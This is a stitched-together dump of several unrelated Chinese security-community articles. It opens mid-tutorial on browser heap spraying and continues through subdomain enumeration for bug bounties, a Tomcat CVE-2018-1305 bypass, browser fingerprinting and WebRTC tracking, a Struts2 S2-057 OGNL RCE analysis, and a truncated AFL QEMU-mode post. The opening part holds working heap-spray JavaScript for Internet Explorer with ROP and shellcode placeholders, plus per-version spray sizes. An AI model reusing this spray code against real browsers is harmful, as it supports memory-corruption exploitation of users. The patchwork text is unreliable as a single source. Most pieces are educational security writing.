var nop = unescape("%u0c0c%u0c0c");
while (nop.length < 0x100000)
nop += nop;
nop=nop.substring(0, (0x40000-6)/2);
heap_chunks = new Array();
for (i = 0 ; i < 1000 ; i++)
{
code=nop+i;
heap_chunks[i] = code.substring(0, code.length);
}
</SCRIPT>
</html>
我们这里演示了堆喷射的结果，如下图
**
**
**8.IE10环境下的堆喷射**
到了IE10这里，情况就有一些不一样了。IE10浏览器中禁止了喷射BSTR（javascript
string）的操作，这意味着自IE6发展而来的堆喷射方法已经不再奏效了，我们以前的那些方法都不能在IE10浏览器下成功进行喷射。在这种情况下，一种被称为DOM
Element Property Spray（简称DEPS）的技术由Corelan
Team提了出来（https://www.corelan.be/index.php/2013/02/19/deps-precise-heap-spray-on-firefox-and-ie10/）
这项技术可以说是源自联想和类比，因为我们在对UAF漏洞进行利用时通常都会使用标签进行占位（后面介绍利用的文章中会详述），既然创建标签可以分配内存那么根据这种情况我们会联想到是否可以通过标签进行喷射。
DEPS技术的思想正是创建大量的DOM元素（标签），通过DOM元素去喷射内存，并且通过设置DOM元素的属性来设置堆喷内存的内容。
并且由于内存布局的不同的原因，在IE10下0x20302228是一个稳定且便于到达的地址。而且利用DOM喷射一个比较凑巧的优点就是不需要刻意的绕Nozzle缓解机制，其本身就不受Nozzle的影响。下面是一个展示堆喷射效果的DEMO，因为IE10浏览器是随着Windows8一起发布的，所以我们这里使用Windows8作为测试环境。
<html>
<head></head>
<body>
<div id='blah'></div>
<script language='javascript'>
var div_container = document.getElementById('blah');
div_container.style.cssText = "display:none";
var data;
offset = 0x104;
junk = unescape("%u2020%u2020");
while(junk.length < 0x1000)
junk+=junk;
rop = unescape("%u4141%u4141%u4242%u4242%u4343%u4343%u4444%u4444%u4545%u4545%u4646%u4646%u4747%u4747");
shellcode = unescape("%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc");
data = junk.substring(0,offset) + rop + shellcode;
data += junk.substring(0,0x800-offset-rop.length-shellcode.length);
while(data.length < 0x80000) data += data;
for (var i=0; i < 0x500; i++)
{
var obj = document.createElement("button");
obj.title = data.substring(0,0x40000-0x58);
div_container.appendChild(obj);
}
</script>
</body>
</html>
此外还有一个非常有趣的现象，在x64的Win8和Win8.1下，我们一般打开的IE浏览器实际上都是32位的。那么你可能有疑问，因为IE明明提供了64位和32位两个版本，为什么我们打开的都是32位的？事实上64位版本是专为Metro界面提供的，如果你从Metro启动IE就会发现它是64位的。我发现这一点是因为我一直使用的是32位的windbg，32位的windbg是调试不了64位进程的，我在调试时发现有时候IE进程可以附加有时候不可以附加，后来查了一下资料才发现是这么回事。
IE10的64位进程与32位进程
**9.IE11环境下的堆喷射**
IE11是IE浏览器的终章，IE11与Widows8.1系统同时发布。
其实单纯说喷射的话与IE10相似，但是由于IE11浏览器已经加入了很多新的漏洞缓解措施，出于漏洞利用的考虑我们此时单独讨论堆喷射已经没有什么意义了。换而言之，此时喷射内存的目的已经与之前完全不同了。
我们会在后面的利用部分讨论IE11中进行jscript9 Heap Feng shui布局的意义。
**10.使用Heaplib进行堆喷射**
Heaplib是一个方便进行精准堆喷射的库。
由于IE浏览器的堆很可能存在空洞，这样的话会对我们的堆布局造成很大影响。heaplib会刷新这些缓冲块，以确保申请的块由系统堆分配。详见(<http://www.phreedom.org/research/heap-feng-shui/heap-feng-shui.html> )
但是Heaplib只在IE9以下的版本中有效，因为IE9中存在Nozzle。不过可以通过我们自己修改Heaplib来让它运行在IE9上。
**11.通过FLASH进行喷射**
大概是2014年，网上开始大量流传使用Flash内存布局结合浏览器漏洞进行利用的样本。从技术手段来说，这些使用FLASH进行内存布局的样本与我们前面讲的这些堆喷射已经不处于同一个次元了。结合Flash内存布局的利用，本质上讲是试图做一种漏洞的转化，与我们前面讲的这些喷射有本质的不同。这种技术最早应该是由李海飞前辈提出的，我们在后面利用部分会详细说这部分内容，参见
(<https://docs.google.com/viewer?url=https://sites.google.com/site/zerodayresearch/smashing_the_heap_with_vector_Li.pdf?attredirects=0>
)
**12.常用堆喷尺寸大小**
参考自泉哥博客，这些数据应该说是前辈们的经验总结。
XP SP3 - IE6 block = shellcode.substring(0,0x40000-0x20)
XP SP3 – IE7 block = shellcode.substring(2,0x10000-0×21);
XP SP3 – IE8 block = shellcode.substring(2, 0x40000-0×21);
Vista SP2 – IE7 block = shellcode.substring(0, (0x40000-6)/2);
Vista SP2 – IE8 block = shellcode.substring(0, (0x40000-6)/2);
Win7 – IE8 block = shellcode.substring(0, (0x80000-6)/2);
Vista/Win7 – IE9 block = shellcode.substring(0, (0x40000-6)/2);
XP SP3/VISTA SP2/WIN7 - Firefox9 block = shellcode.substring(0, (0x40000-6)/2);
**13.x64下的堆喷射**
对x64进程进行堆喷射理论上是没有意义的，因为64位的地址表示的值过大，以我们目前的计算机配置来说就算是拿全部的内存进行喷射也不可能到达喷射需求的地址。但是在实际漏洞利用中，可能因为漏洞本身的特性导致我们可以通过小范围喷射进行利用，诸如著名的《Exploiting
Internet Explorer11 64-bit on Windows 8.1 Preview》文章中的利用。
**后记**
其实这系列的文章，我在去年10月份的时候就已经写完了，但是一直在硬盘里放了近半年都没有投出来。我主要是考虑到这系列文章涉及的话题太广、内容太多、历史又太悠久，考虑到自己仅是个大二学生水平较低、接触漏洞方面也不久，唯恐内容中出现错误和纰漏。但是做了一番修改后我还是鼓起勇气发出来了，希望大家能够帮忙指出文章中错误和提出修改建议，可以通过微博私信给我
id:Ox9A82。
**reference**
《浏览器漏洞攻防对抗的艺术》仙果
<http://bbs.pediy.com/thread-211277.htm>
《攻破Windows 8.1的64位IE》古河
<http://www.ichunqiu.com/course/52149>
《Heap Feng Shui in JavaScript》
<http://www.phreedom.org/research/heap-feng-shui/heap-feng-shui.html>
《DEPS —— Precise Heap Spray on Firefox and IE10》
<https://www.corelan.be/index.php/2013/02/19/deps-precise-heap-spray-on-firefox-and-ie10/>
《Exploiting Internet Explorer11 64-bit on Windows 8.1 Preview》
<http://ifsec.blogspot.com/2013/11/exploiting-internet-explorer-11-64-bit.html>
《Exploit 编写系列教程第十一篇：堆喷射技术揭秘》
<http://bbs.pediy.com/showthread.php?t=151381>
《IE Array Object Heap Spraying》
<http://www.cnblogs.com/wal613/p/3958692.html>
《ASLR BYPASS APOCALYPSE IN RECENT ZERO-DAY EXPLOITS》
<https://www.fireeye.com/blog/threat-research/2013/10/aslr-bypass-apocalypse-in-lately-zero-day-exploits.html>
《Smashing the Heap with Vector:Advanced Exploitation Technique in Recent Flash
Zero-day Attack》
<https://docs.google.com/viewer?url=https://sites.google.com/site/zerodayresearch/smashing_the_heap_with_vector_Li.pdf?attredirects=0> | 社区文章 |
本文是一篇翻译文章，原链接为：<https://captmeelo.com/bugbounty/2019/09/02/asset-enumeration.html>
## 介绍
当我对一个很大范围的资产做漏洞赏金活动时（例如，CIDR，子域名，一个公司的所有资产等）。我一直对搜集信息以扩大我的供给面这件事很有压力。就像是一个更大的资产范围=一个更大攻击面=更多机会利用漏洞。但是增大供给面这件事本身对我来说就很有挑战。
在这篇文章中，我将会描述我在测试时如何扩大目标站点或公司的攻击面。需要注意的是，这个技术仅限于罗列关于木站点的子域名和找到新域名。
## 资产发现
针对一个目标域，有两种方法扩展它的攻击面：
1. 找到更多和目标站点享有同个一级域名的站点，这个叫做子域名罗列。
2. 确认所有和目标站点有关系的域名。
下图可以帮助区分这两个方法：
现在我们来看一下我用来进行子域名罗列和找到有关系域名的方法。
## 子域名罗列
这步的关键就是找到尽可能多的目标域的子域名站点。理想的情况下，我们希望越挖越深。我的意思是指我并不想单单只罗列目标域的子域名，还要挖掘这些子域名的子域名。例如，我们还想挖掘another.subdomain.doamin.com，而不仅仅是sudomain.domain.com。
有很多工具可以进行子域名罗列，但是他们并不能给出一个不错的结果。个人来说，我更加喜欢使用可以综合所有罗列工具的结果的工具，并且拥有很多我需要的选项和功能，像是递归暴力猜解和字符替换。
针对子域名罗列，我一直是用Amass这个工具作为起步，使用它的passive选项。
amass enum -passive -d <DOMAIN> -o <OUT_FILE>
然后是针对目标域的子域名使用暴力猜解，猜解字典为all.txt（<https://github.com/OWASP/Amass/blob/master/wordlists/all.txt>
）和commonspeak2（<https://github.com/assetnote/commonspeak2-wordlists/blob/master/subdomains/subdomains.txt>
）。
amass enum -brute -w <WORDLIST> -d <DOMAIN> -o <OUT_FILE>
如果你想加快工具的扫描速度，你就要使用noalts选项和norecursive选项，以及max-dns-quries选项。但是不要惊讶结果的输出，因为这样会得到很少的信息。
通过上面方法得到的子域名中，不是所有都可以正常解析IP地址。筛选出可以正常解析IP地址的域名，我推荐使用Massdns。
./bin/massdns -r lists/resolvers.txt -o S <LIST_OF_SUBDOMAINS> | grep -e ' A ' | cut -d 'A' -f 1 | rev | cut -d "." -f1 --complement | rev | sort | uniq > <OUT_FILE>
## 相关域名罗列
通过获取和融合，有时候可能不是同一家公司的域名但是他们之间有联系。例如，Facebook同时拥有Instagram和Whatsapp，也就是说instagram.com和whatsapp.com都和facebook.com有关系。
我们从下面的whois输出信息可以发现，facebook.com,instagram.com和whatsapp.com都由邮箱地址[email protected]
注册。
为了搜集有关联的域名，我们可以获取whois信息中的Registrant
Email这个字段，然后做一个反向whois查询。这个操作可以在viewdns.info和whoisxmlapi.com这个两个站点上完成。
通过Registrant Email和Registrant Organization记录进行反向查询很容易出现重复结果，所以需要多加操作进行结果去重。
需要留神的是大多数使用反向whois查询是免费的，但是你如果想要得到更多的结果或者完整的结果往往是需要你付费的。
## 填充空白区域
现在我们已经通过纵横交错的方法完成了域名收集，现在是否可以开始进行攻击测试了？答案是不。
如果我们可以填充下图中的空白区域，那么是不是能更加扩展我们的攻击面呢？
我们可以针对我们子域名罗列发现的域名都进行关联域名发现。但是这意味着我们需要花更长的时间进行子域名罗列，但是谁关心时间更长呢？记住，一个更大攻击面=更多机会攻下站点。
但是在这之前，先把可以解析的关联域名筛选出来：
./bin/massdns -r lists/resolvers.txt -o S <LIST_OF_ASSOCIATED_DOMAINS> | grep -e ' A ' | cut -d 'A' -f 1 | rev | cut -d "." -f1 --complement | rev | sort | uniq > <OUT_FILE>
然后通过如下命令进行子域名罗列：
amass enum -passive -df <LIST_OF_RESOLVED_ASSOCIATED_DOMAINS> -o <OUT_FILE>
或者进行暴力猜解：
amass enum -brute -w <WORDLIST> -df <LIST_OF_RESOLVED_ASSOCIATED_DOMAINS> -o <OUT_FILE>
如果你有个给劲的机器，你可以使用GNU Parallel（<https://www.gnu.org/software/parallel/>
）或Xargs（<http://man7.org/linux/man-pages/man1/xargs.1.html> ）进行多进程工作来加快速度。例如：
cat <LIST_OF_RESOLVED_ASSOCIATED_DOMAINS> | parallel -j <NO_OF_CONCURRENT_JOBS> "amass enum -passive -d {} -o {}.out"
我更倾向于使用GNU Parallel，所以这里不会有Xargs的命令。
一旦你罗列出所有关联域名的子域名，接下来使用Massdns进行dns解析来筛选可解析的域名。
## 接下来？
做完如上的操作后，最后一步就是去重。
* 使用这些得到的域名和主机，你可以做如下的操作：
* 检查子域名是否可以被接管
* 端口扫描并确认运行的服务
* 记录运行web服务的主机
* 进行目录暴力猜解
* 等等
## 结论
如上的方法就是我在进行漏洞赏金活动时做的操作，我不能保证它也同样适用于你，也不能保证你遵循如上操作就会找到漏洞。这篇文章的目的在于共享我的方法给那些苦于不知如何拓展自己攻击面的安全人员。 | 社区文章 |
近日，Apache Tomcat曝出安全绕过漏洞。漏洞的CVE编号为CVE-2018-1305。
Apache Tomcat是由Apache软件基金会下属的Jakarta项目开发的一个Servlet容器，按照Sun
Microsystems提供的技术规范，实现了对Servlet和Java Server
Page（JSP）的支持，并提供了作为Web服务器的一些特有功能，如Tomcat管理和控制平台、安全域管理和Tomcat阀等。Tomcat
很受广大程序员的喜欢，因为它运行时占用的系统资源小，扩展性好，支持负载平衡与邮件服务等开发应用系统常用的功能。
此次Apache Tomcat的安全绕过漏洞出现在Tomcat的部分版本中。Apache Tomcat Servlet
注释定义的安全约束，仅在Servlet加载后才应用。由于以这种方式定义的安全约束适用于URL模式及该点下任何URL，因此可能根据Servlet的加载顺序而对某些安全约束不适用。攻击者能够利用这个漏洞，绕过某些安全限制来执行未经授权的操作，以达到攻击的目的。
上面描述的可能过于专业化，准备了一个案例让各位小伙伴们直观的了解一下。
由于触发此漏洞的前提是：
业务系统部署在低版本的Tomcat中。
业务系统通过注解的方式定义安全约束。
据此搭建一套JDK1.8，Apache Tomcat 8.5.24的运行环境。
新建一个Web工程，导入annotations-api.jar（annotations-api.jar是使用注解所需jar包，不导入会报错）等jar包文件。
由于ServletSecurity注释可以直接用来修饰Java
Servlet，对Servlet进行类ACL保护，如果在ServletSecurity中添加ServletSecurity注释，在servlet_two中不添加ServletSecurity注释，就可能导致未授权访问，新建servlet_one.java和servlet_two.java文件，代码如下：
通过上面俩文件比较可以清晰地看出，servlet_one前增加了ServletSecurity注释，而servlet_two前没有ServletSecurity注释。
修改web.xml文件如下（在web.xml对servlet给出名称和定制的URL。用servlet元素分配名称，使用servlet-mapping元素将定制的URL与刚分配的名称相关联。）
这里可以明显的看出有两个servlet（servlet_one和servlet_two），servlet_one的访问路径是“/servlet1/”，servlet_two的访问路径是“/servlet1/servlet2”，由于存在漏洞的版本根据Servlet的加载顺序而对某些安全约束不适用，在没有访问/servlet1/的前提下直接访问/servlet1/servlet2，使得servlet1的ServletSecurity注解没有生效，并没有保护到“/servlet1/servlet2”路径，可能导致一些资源外泄的风险。
这个时候直接访问servlet_one的访问路径“/servlet1/”，此时ServletSecurity注解生效，拒绝访问此资源。
在不重启Tomcat的情况下，访问一次servlet_one的访问路径“/servlet1/”后再次访问servlet_two的访问路径“/servlet1/servlet2”时，ServletSecurity注解已经触发，所以无法再次访问servlet_two资源，会提示拒绝访问此资源。（此方法可以作为临时防御方法，但是不建议使用此方法，应尽快升级）
影响版本
Apache Tomcat 9.0.0.M1-9.0.4，
Apache Tomcat 8.5.0-8.5.27,
Apache Tomcat 8.0.0.RC1 - 8.0.49，
Apache Tomcat 7.0.0 - 7.0.84。
修复建议
由于在不了解对方网站架构的情况下，很容易先触发网站的安全约束，所以此漏洞利用条件困难，不过也建议小伙伴们及时更新到Apache Tomcat
8.5.28，Apache Tomcat 8.0.50，Apache Tomcat 7.0.85版本。
更新链接：
Apache Tomcat 7.0.85:<https://tomcat.apache.org/download-70.cgi>
Apache Tomcat 8.0.50:<https://tomcat.apache.org/download-80.cgi>
Apache Tomcat 8.5.28:<https://tomcat.apache.org/download-80.cgi>
Apache Tomcat 9.0.5:<https://tomcat.apache.org/download-90.cgi>
参考链接
CVE链接:<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-1305>
Bugtraq链接:<https://www.securityfocus.com/bid/103144/discuss> | 社区文章 |
From： **[Arkteam](http://www.arkteam.net/?p=1563)**
作者： **[Wellee](http://www.arkteam.net/?author=32)**
前文：http://paper.seebug.org/227/
随着互联网络的广泛普及，数以亿计网民的网络行为数据早已成为最宝贵的资源，企业通过五花八门的各种手段了解网民的行为和隐私数据，用于广告投递、用户兴趣分析等，进而作为决策的依据。利用Web客户端对用户行为进行收集和追踪是重要手段之一。
本文继《浅谈Web客户端追踪（上）》继续对主流的Web客户端追踪技术进行分析，主要介绍典型的指纹追踪技术和WebRTC技术，介绍一些简单的防跟踪的方法，并给出相关参考供感兴趣的朋友深入研究。
## 一、 典型追踪技术
### 1\. 浏览器指纹追踪
类似人的外貌和指纹，Web客户端（这里主要指浏览器）也有多种“外貌”信息和“指纹”信息，将这些信息综合分析计算后，可对客户端进行唯一性识别，进而锁定、追踪、了解网民行为和隐私数据。
#### 1) 基本指纹
基本指纹是任何浏览器都具有的特征标识，比如硬件类型（Apple）、操作系统（Mac OS）、用户代理（User
agent）、系统字体、语言、屏幕分辨率、浏览器插件 (Flash, Silverlight, Java, etc)、浏览器扩展、浏览器设置 (Do-Not-Track, etc)、时区差（Browser GMT
Offset）等众多信息，这些指纹信息“类似”人类的身高、年龄等，有很大的冲突概率，只能作为辅助识别。可以在该网址进行查看本地浏览器的基本特征，<https://www.whatismybrowser.com/>
#### 2) 高级指纹
基本指纹就像是人的外貌特征，外貌可以用男女、身高、体重区分，然而这些特征不能对某个人进行唯一性标识，仅使用基本指纹也无法对客户端进行唯一性判定，基于HTML5的诸多高级指纹对此提供了新思路。
①、Canvas指纹
说到高级指纹，不得不提Canvas指纹，Canvas（画布）是HTML5中一种动态绘图的标签，可以使用其生成甚至处理高级图片。2014年9月，ProPublica报道：新型的Canvas指纹追踪正在被用到“上到白宫，下到YouPorn”等众多网站，事实上早在2012年已有研究报告[6]分析称canvas指纹被用于跟踪用户。
利用Canvas进行追踪的一般过程大致如下：
基于Canvas标签绘制特定内容的图片，使用canvas.toDataURL()方法获得图片内容的base64编码（对于PNG格式的图片，以块(chunk)划分，最后一块是32位CRC校验）作为唯一性标识，如下图。
Canvas指纹的原理大致如下：
相同的HTML5
Canvas元素绘制操作，在不同操作系统、不同浏览器上，产生的图片内容不完全相同。在图片格式上，不同浏览器使用了不同的图形处理引擎、不同的图片导出选项、不同的默认压缩级别等。在像素级别来看，操作系统各自使用了不同的设置和算法来进行抗锯齿和子像素渲染操作。即使相同的绘图操作，产生的图片数据的CRC检验也不相同。
在线测试地址：<https://www.browserleaks.com/canvas>，可查看浏览器的Canvas唯一性字符串。
Canvas的兼容情况：几乎已被所有主流浏览器支持，可以通过大部分的PC、平板、智能手机访问！
②、AudioContext指纹
HTML5提供给JavaScript编程用的Audio
API则让开发者有能力在代码中直接操作原始的音频流数据，对其进行任意生成、加工、再造，诸如提高音色，改变音调，音频分割等多种操作，甚至可称为网页版的Adobe
Audition。
AudioContext指纹原理大致如下：
方法一：生成音频信息流(三角波)，对其进行FFT变换，计算SHA值作为指纹，音频输出到音频设备之前进行清除，用户毫无察觉。
方法二：生成音频信息流（正弦波），进行动态压缩处理，计算MD5值。
AudioContext指纹基本原理：
主机或浏览器硬件或软件的细微差别，导致音频信号的处理上的差异，相同器上的同款浏览器产生相同的音频输出，不同机器或不同浏览器产生的音频输出会存在差异。
从上可以看出AudioContext和Canvas指纹原理很类似，都是利用硬件或软件的差异，前者生成音频，后者生成图片，然后计算得到不同哈希值来作为标识。音频指纹测试地址：<https://audiofingerprint.openwpm.com/>
#### 3) 硬件指纹
硬件指纹主要通过检测硬件模块获取信息，作为对基于软件的指纹的补充，主要的硬件模块有：GPU’s clock
frequency、Camera、Speakers/Microphone、Motion
sensors、GPS、Battery等。更多细节请参考：<https://arxiv.org/pdf/1503.01408v3.pdf>
#### 4) 综合指纹
Web世界的指纹碰撞不可避免，将上述所有的基本指纹和多种高级指纹综合利用，进行分析、计算哈希值作为综合指纹，可以大大降低碰撞率，极大提高客户端唯一性识别的准确性。测试地址：<https://panopticlick.eff.org/>
### 2\. 跨浏览器指纹
上述指纹都是基于浏览器进行的，同一台电脑的不同浏览器具有不同的指纹信息。这样造成的结果是，当同一用户使用同一台电脑的不同浏览器时，服务方收集到的浏览器指纹信息不同，无法将该用户进行唯一性识别，进而无法有效分析改用户的的行为。
近期有学者研究了一种跨浏览器的浏览器指纹，其依赖于浏览器与操作系统和硬件底层进行交互进而分析计算出指纹，这种指纹对于同一台电脑的不同浏览器也是相同的。更多技术细节请参考：
<http://yinzhicao.org/TrackingFree/crossbrowsertracking_NDSS17.pdf>
### 3\. WebRTC
WebRTC（网页实时通信，Web Real Time
Communication），是一个开源项目，旨在使得浏览器能为实时通信（RTC）提供简单的JavaScript接口，说的简单明了一点就是让浏览器提供JS的即时通信接口，让浏览器实时获取和交换视频、音频和数据。WebRTC实现了三个API，分别是:
MediaStream：通过MediaStream的API能够通过设备的摄像头及麦克风获得视频、音频的同步流。
RTCPeerConnection：RTCPeerConnection是WebRTC用于构建点对点之间稳定、高效的流传输的组件。
RTCDataChannel：RTCDataChannel使得浏览器之间（点对点）建立一个高吞吐量、低延时的信道，用于传输任意数据。
基于WebRTC的实时通讯功能，可以获取客户端的IP地址， **包括本地内网地址和公网地址** 。其原理是利用到RTCPeerConnection
的API，大致函数如下：
利用WebRTC能做的事情还远不止这些，比如使用其探测扫描内网信息，进行语音、视频交流，更多技术细节请参考：
<http://net.ipcalf.com>
<https://diafygi.github.io/webrtc-ips/>
## 二、 防客户端追踪措施
### 1\. 浏览器设置
基于上述客户端追踪技术和原理，对浏览器设置提出一些简单的防御措施，大致如下：
①、使用隐身模式，目前主流的浏览器都支持该模式。
②、禁用Cookie和JavaScript（此项可能导致页面显示不正常，慎用）
③、禁用WebRTC，如Firefox浏览器：打开about:config，找到media.peerconnection.enabled的项，设置成
false
④、禁用Geolocation，Firefox浏览器：打开about:config，找到geo.enabled 的值，设置其值为 false。Chrome
点击设置（Settings），从显示高级设置（Show advanced settings）上，找到隐私（Privacy）并且点击内容设置（Content
settings）， 在窗口里找到定位（Location）并设置选项不允许任何网站追踪你的物理位置（Do not allow any site to
track your physical location）
⑤、限制API访问文件资源时序信息，恶意网站会通过检测浏览器缓存的时序信息，包括访问和忽略第三方网站的资源，来判断使用者是否访问过第三方网站。Firefox浏览器：打开about:config，将dom.enable_resource_timing,
dom.enable_user_timing 和dom.performance.enable_user_timing_logging 设置为
false，来阻止这些 API 运行。
### 2\. 插件
推荐几个较好的插件来阻止第三方广告追踪和广告：
①、Ghostery，个人使用推荐，官网地址：
<https://www.ghostery.com/try-us/download-browser-extension>
②、Privacy Badger，官网地址：
<https://www.eff.org/privacybadger/>
③、uMatrix（仅Chrome和FireFox）：
[https](https://addons.mozilla.org/en-us/firefox/addon/umatrix/)[://addons.mozilla.org/en-us/firefox/addon/umatrix](https://addons.mozilla.org/en-us/firefox/addon/umatrix/)[/](https://addons.mozilla.org/en-us/firefox/addon/umatrix/)
④、NoScript（仅FireFox）：
[https](https://addons.mozilla.org/en-US/firefox/addon/noscript/)[://addons.mozilla.org/en-US/firefox/addon/noscript](https://addons.mozilla.org/en-US/firefox/addon/noscript/)[/#](https://addons.mozilla.org/en-US/firefox/addon/noscript/)
⑤、Chameleon（仅Chrome）：
[https](https://github.com/ghostwords/chameleon)[://](https://github.com/ghostwords/chameleon)[github.com/ghostwords/chameleon](https://github.com/ghostwords/chameleon)
## 三、 参考资料
* [1] <https://securehomes.esat.kuleuven.be/~gacar/persistent/index.html>
* [2] <http://cseweb.ucsd.edu/~hovav/papers/ms12.html>
* [3] <https://arxiv.org/pdf/1503.01408v3.pdf>
* [4] <https://eprint.iacr.org/2015/616.pdf>
* [5] <http://www.freebuf.com/news/40745.html>
* [6] <http://w2spconf.com/2012/papers/w2sp12-final4.pdf>
* [7] <http://randomwalker.info/publications/OpenWPM_1_million_site_tracking_measurement.pdf>
* [8] <http://securityaffairs.co/wordpress/47550/digital-id/audio-fingerprinting-tracking.html>
* [9] <http://www.ghacks.net/2014/08/04/deal-webrtc-spying-chrome/>
* * * | 社区文章 |
作者：廖新喜
公众号：[廖新喜](https://mp.weixin.qq.com/s/MNFpOv09x1UnSZ8IRyivBQ "廖新喜")
**Struts2 CVE-2018-11776 S2-057 RCE Ognl**
#### 漏洞公告
北京时间8月22日13时，Apache官方发布通告公布了Struts2中一个远程代码执行漏洞（CVE-2018-11776）。该漏洞在两种情况下存在，第一，在xml配置中未设置namespace值，且上层动作配置（upper
action(s) configurations）中未设置或用通配符namespace值。第二，使用未设置
value和action值的url标签，且上层动作配置（upper action(s)
configurations）中未设置或用通配符namespace值。
#### 补丁对比
如图所示，补丁主要添加了cleanNamespaceName方法，该方法通过白名单的方式来验证namespace是否合法，从官方描述和漏洞修复方式来看，该漏洞应该是一个Ognl的表达式注入漏洞
#### 动态分析
漏洞发布几个小时之后，漏洞发现作者公布了整个发现过程，并且详细分析了一种漏洞情形：<https://lgtm.com/blog/apachestrutsCVE-2018-11776>
按照该博客的说法，拉取struts2-showcase项目作为示例，修改struts-actionchaining.xml，具体如下：
<struts>
<package name="actionchaining" extends="struts-default" >
<action name="actionChain1" class="org.apache.struts2.showcase.actionchaining.ActionChain1">
<result type="redirectAction">
<param name="actionName">register2</param>
</result>
</action>
</package>
</struts>
在这种情况下，所有到actionChain1.action的请求的返回结果都会指向register2，并且执行链会到ServletActionRedirectResult.execute方法中，具体如下：
从上图可以看出，通过namespace字段，污染了tmpLocation字典，并且设置为了预期的执行的PoC，这也是补丁中为什么要净化namespace的原因，继续跟踪namespace的去向,执行链会到ServletActionRedirectResult的父类的父类StrutsResultSupport.execute方法中，具体如下图
这里有个conditionParse方法，这个方式就是使用Ognl表达式来计算数据值，在系统中用得非常多，而且在一些历史漏洞中，也应该由它来背锅，当然最大的锅还是struts官方，每次漏洞出在哪就修在哪，典型的头痛医头，脚痛医脚。方法实现如下图所示
在这个方法中会使用到TextParseUtil.translateVariables方法，继续跟踪，调用栈进入OgnlTextParser中的evaluate方法,首先会判断传入的表达式是否合法，比如是否能找到${}或者%{}对，接着调用evaluator.evaluate求值，求值过程非常复杂，总得来说就是链式执行过程，具体如下调用栈：
从上图也可以看出最顶层就是通过反射的方式来调用ProcessBuilder的构造函数，中间部分就是链式执行过程中牵涉到一些操作。
我们可以看下求值过程中参数的一些情况。来查看Ognl安全加固的一些变化，具体如下图：
主要是黑名单上又添加了一些类，分别是
`classognl.DefaultMemberAccessclasscom.opensymphony.xwork2.ognl.SecurityMemberAccessclassjava.lang.ProcessBuilder`
分析就结束了，计算器还是要弹的，如下图：
#### PoC 构造
这块是最难的，也是最不好调试的，利用showcase项目很早就能执行${(1+1)}=2的效果，但是要弹出计算器，并不容易，其实就是新的沙箱的绕过，当时在调试的时候就发现，每次的返回结果都是空，没办法，只能耐着性子，将原先的PoC进行拆分，一个单元的一个单元的测试。测试获取#context的时候总为空，后来发现导致无法获取OgnlUtil的实例，怎么获取context，有多种方式，从代码结构来看可以从ognl表达式一些固有表达式来获取，如#root,#request等。
* * * | 社区文章 |
# 原文链接
<https://abiondo.me/2018/09/21/improving-afl-qemu-mode/>
# 提高AFL qemu模式性能
作为我最喜欢的fuzzer工具，[AFL](http://lcamtuf.coredump.cx/afl/)健全有效，由覆盖率引导，还支持使用qemu模式来fuzz闭源二进制程序，然而qemu模式所带来的就是明显的性能花费。所以，是否可以改进一下呢？
**2018-9-22更新：**
感谢[@domenuk](https://twitter.com/domenuk)[建议](https://twitter.com/domenuk/status/1043168787518898177)在parent里缓存chains，博客相应更新了，我们现在可以做到3-4倍的提速效果了。
## QEMU的块翻译
在开始之前，我们首先需要来看看QEMU的一些基础。QEMU的目标是能够在`host`（宿主机）上模拟`target`（目标机），而这两个机器的架构可能完全不同。最简单的实现方式就是针对目标机的指令集写一个解释器，然后在宿主机上编译，但是显然这样的方式会非常缓慢。一个更聪明一点的方式则是使用jit编译：把目标机器的代码翻译为宿主机器的指令，然后使用原生的速度去执行，这也是QEMU所采用的方法。
直接从宿主机翻译到目标机的方法扩展起来效果并不好，因为这样意味着对于所有的(目标机，宿主机)元组都要实现一个翻译器，所以，与计算机科学的任何问题一样，我们可以通过引入一个间接层来解决问题，也就是：`Tiny
Code Generator`（小代码生成器），简称TCG。一个TCG _前端_ 将目标机原生指令lift（提升）到架构无关的中间表示（IR），而一个TCG
_后端_
则将IR降级到原生宿主机指令。想要加一个新的目标架构？只需要写一个前端就可以了。新的宿主机架构？加一个后端，非常简单。翻译是在基本块等级模拟的时候同时进行的，而因为翻译的过程代价较大，翻译块(TB)会被存储在TCG
_缓存_ 里，这样如果再次执行到，就可以执行使用。
当你在进行这种翻译的时候，你需要考虑到翻译后的代码可能并不一定和原来的代码内存布局相同，这样的话，你就需要修理好对内存地址的引用，比如我们来考虑一下终结一个块的控制流指令：如果是一个直接跳转，那么其跳转地址是已知的，所以我们可以马上修正好，把跳转翻译成跳转到后继的原生跳转，这样就完全没有运行时的额外代价。QEMU将这种情况称为
_块chain_ (block
chaining)。而如果是间接跳转，我们就无法在翻译的时候确定跳转目标（即使我们尝试去做分析，这也不是一个可以保证出结果的情况），所以我们跳转到QEMU核心的一个回调，这个回调函数就会去翻译还没有翻译的目标块，然后转移控制，之后继续模拟，显然这种情况就会有性能消耗。
## AFL的QEMU插桩
AFL，作为一个由覆盖率引导的fuzzer，需要执行轨迹插桩来获取程序控制流的信息，我在这里不会去解释太原始的一些细节，可以从[AFL技术白皮书](http://lcamtuf.coredump.cx/afl/technical_details.txt)里去看，如果你想知道具体里面都是怎么工作的话。如果你有程序源码，你可以用AFL的插桩编译器重新编译一下，这个编译器会在每一个基本块之前加入一小段代码。如果你只有二进制文件，你就可以用AFL的QEMU模式：二进制会在一个被打过补丁的QEMU里执行，然后收集覆盖信息，并传递给AFL。
AFL的QEMU补丁工作如下：在`qemu_mode/patches/afl-qemu-cpu-inl.h`文件里包含了实际的实现，包含了两个主要部分，一个是forkserver，另外一个是执行轨迹的插桩。forkserver是AFL用来优化初始化额外消耗的一种方法，因为在每次程序开始执行前forkserver会先启动，所以子进程都只有空的TCG缓存，这样的话，AFL采用了一种机制，子进程在有新的翻译块的时候通知父进程，这样父进程就可以在他自己的缓存里边翻译这个块，然后为未来的子进程做准备。
插桩在QEMU核心的`accel/tcg/cpu-exec.c`进行了hook，这个patch主要是在`cpu_tb_exec`里插入了一段，`cpu_tb_exec`在每次TB被模拟器执行的时候都会被调用。patch调用了`afl_maybe_log`，该函数会检查块是否在trace边界以内，如果在，就会将控制流记录下来，然后传递到AFL的边图(edge
map)里。
然而这样有个问题：跳转到chain的块不会调用到模拟器里，因为这样的情况不会经过整个`cpu_tb_exec`，AFL的解决办法是，直接 _取消chain_
。
/* Workaround for a QEMU stability glitch. */
setenv("QEMU_LOG", "nochain", 1);
